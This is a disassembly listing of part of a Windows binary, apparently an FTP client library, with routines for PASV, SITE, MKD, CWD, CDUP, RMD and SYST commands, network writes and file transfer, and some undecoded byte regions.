		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 14684D75h, 90004474h, 808419E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44753468h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 44740468h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 4680A75h, 0E9004474h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 447204h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752C68h
		dd 5610EB00h, 9766E857h, 0C0850000h, 2468217Dh,	90004475h
		dd 808335E8h, 4C48377h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44750868h, 0EEE85200h,	9077810Dh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473FC68h
		dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
		dd 75144689h, 73FC682Ch, 27E80044h, 90778082h, 5704C483h
		dd 9627E8h, 40E85600h, 90777FD6h, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 80843DE8h
		dd 0C4839077h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447594BEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 7F0473E8h, 108B9077h, 5008438Bh,	14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah
		dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 82E890h, 108B777Fh, 0BC685752h, 90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 7FCEBAE8h, 0C4839077h, 5FC03304h, 9090C35Eh,	90909090h
		dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447680
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476C0
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
